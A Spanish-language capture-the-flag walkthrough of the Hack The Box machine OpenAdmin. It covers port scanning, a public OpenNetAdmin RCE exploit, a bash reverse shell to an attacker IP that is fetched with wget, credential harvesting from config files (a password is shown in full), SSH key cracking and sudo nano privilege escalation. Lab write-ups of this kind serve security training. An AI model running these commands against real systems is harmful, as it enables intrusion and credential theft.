Recuerdo especialmente esta máquina ya que en su momento en la oficina (Mnemo) la pusimos en actualidad y contexto, nos “picamos” algo en la resolución de la misma entre mis compañeros: @Pherec y @BigMike, y día a día fuimos adentrándonos en la misma. Pablo (@Pherec) fue quien se llevó “la pole”.
OpenAdmin se trata de una máquina Linux de dificultad Easy, que nos conduce al descubrimiento de aplicativos web “ocultos”, explotación de vulnerabilidades conocidas en aplicativos web, recopilación de información en recursos internos, acceso a usuarios intermedios, aprovechamiento de funciones en aplicativos web internos y finalmente la escalada de privilegios a través del editor de texto nano.
Resumen:
- Enumeración de puertos
- Identificación de servicio web y descubrimiento de plataformas
- Explotación de vulnerabilidad RCE
- Descubrimiento de credenciales en fichero
- Primer acceso vía SSH
- Obtención de usuario / Captura del fichero user.txt
- Escalada de privilegios / Captura de fichero root.txt
Enumeración:
En esta oportunidad quiero mostrarles una “alternativa” que tomé a Nmap (imprescindible), bastante interesante. Se trata de un script basado en la herramienta en Go llamada FastTcpScan elaborado por @S4vitar. El script es el siguiente:
#!/bin/bash for port in $(seq 1 65535); do timeout 1 bash -c "echo > /dev/tcp/10.10.10.171/$port" 2>/dev/null && echo "Puerto: $port - Abierto" & done; wait
El resultado de la ejecución de este script da:
A través del puerto 80 como es habitual, obtendremos el servicio HTTP. Si lo comprobamos vía navegador, evidenciaremos una página por defecto de Apache.
Inmediatamente haremos un barrido de directorios a través Gobuster a fin de identificar potenciales aplicativos web que nos puedas valer en el análisis.
gobuster -u http://10.10.10.171/ -w /usr/share/dirb/wordlists/common.txt
De esta manera lograremos encontrar el aplicativo music, que cuenta con el siguiente aspecto:
Al explorar como lo haría un usuario final, identificamos que al dar a la opción de login seremos dirigidos a la siguiente URL:
http://10.10.10.171/ona
Cabe destacar que este directorio ona, no se encuentra en los diccionarios habituales de consulta (common.txt, big.txt, directory-list-1.0.txt, directory-list-2.3-medium.txt…), por tanto, lograr identificarlo a través del barrido de directorio lo hace una posibilidad poco factible.
Remote code execution (RCE):
Nos quedamos con el nombre del aplicativo OpenNetAdmin y la versión del mismo v18.1.1. Lo siguiente será identificar potenciales vulnerabilidades conocidas en el mismo y posibles exploits públicos. Logrando encontrar el siguiente RCE:
Fuente del exploit: https://www.exploit-db.com/exploits/47691
Ejecutando el exploit de la forma correcta lograremos obtener acceso al sistema a través del usuario www-data.
./47691.sh http://10.10.10.171/ona/login.php
Por comodidad, adicionalmente me genero un fichero bash (hell.sh) para conseguir ejecutarlo en la máquina objetivo y de esta manera hacerme con una reverse shell.
Contenido: bash -i >& /dev/tcp/10.10.15.7/5231 0>&1 python -m SimpleHTTPServer $ wget http://10.10.15.7:8000/hell.sh nc -lvnp 5231 $ /bin/bash hell.sh
Obtención de usuario:
Antes de nada, una de las primeras cosas que realizo ya con el acceso al sistema, es identificar aquellos usuarios del sistema que cuenten con el interprete bash. Éstos usuarios serán mis objetivos.
cat /etc/passwd | grep bash root:x:0:0:root:/root:/bin/bash jimmy:x:1000:1000:jimmy:/home/jimmy:/bin/bash joanna:x:1001:1001:,,,:/home/joanna:/bin/bash
Desde mi ubicación (/opt/ona/www), logramos ver el directorio config y dentro del mismo el fichero config.inc.php.
Destacar que /var/www/ona es un enlace simbólico de /opt/ona/www.
ls -l /var/www/ona lrwxrwxrwx 1 www-data www-data 12 Nov 21 16:07 /var/www/ona -> /opt/ona/www
En el contenido del fichero config.inc.php logramos identificar las siguiente líneas:
cat /var/www/ona/config/config.inc.php
Ahora se trata de visitar esa ruta seleccionada en donde logramos hallar la siguiente contraseña.
cat /var/www/ona/local/config/database_settings.inc.php
Emplearemos Medusa para localizar el usuario de esta contraseña, identificando rápidamente que pertenece al usuario jimmy.
medusa -u jimmy -p 'n1nj4W4rri0R!' -h 10.10.10.171 -M ssh
Obtenemos acceso nuevamente a la máquina, esta vez por SSH.
ssh jimmy@10.10.10.171 hostname; hostname -I; id
Una vez más, por medio de los aplicativos web se logra identificar el recurso llamado internal. El mismo cuenta con los siguientes ficheros:
ls -l /var/www/internal/
Revisando el recurso main.php se observa la llamada al fichero id_rsa del usuario joanna.
cat main.php
Si verificamos las conexiones de red a través de netstat, se observa el puerto 52846 que se mantiene a la escucha.
netstat -ano | head
Empleando curl lograremos ejecutar el fichero mail.php y obtendremos el siguiente output:
curl 127.0.0.1:52846/main.php
Guardamos esta clave que pasaremos a “crackear” como en otras ocasiones a través de John The Ripper.
/usr/share/john/ssh2john.py id_rsa > Hash_joanna john --wordlist=rockyou.txt Hash_joanna
Una vez conseguida la clave, nos conectaremos vía SSH y obtendremos la flag del user.
chmod 600 id_rsa ssh -i id_rsa joanna@10.10.10.171 hostname; hostname -I; id; pwd wc -c user.txt
Escalada de privilegios:
El proceso para conseguir elevar privilegios en esta máquina es bastante sencillo. A través de sudo conseguiremos listar el binario que puede el usuario joanna ejecutar con máximos privilegios, éste se trata de nano.
sudo -l
Nuevamente consultando GTFOBins lograremos encontrar las directrices necesarias para aprovecharnos de este binario.
Más información aquí: https://gtfobins.github.io/gtfobins/nano/
De lleno en la ejecución de nano a través de sudo, pulsaremos Ctrl +R y Ctrl + X y aquí es donde ejecutaremos los comandos deseados con máximo privilegios, al pulsar enter, obtendremos los resultados de cada uno:
sudo /bin/nano /opt/priv ^R^X id; hostname; wc -c /root/root.txt
Para llegar a la flag de root basta con este proceso, pero adicionalmente podríamos obtener una shell interactiva y hacernos con el control del sistema por completo, ya eso depende de la necesidad de cada uno.
En fin, aquí tenemos nuevas técnicas que alimentan nuestro proceso de formación. Hasta el próximo reto.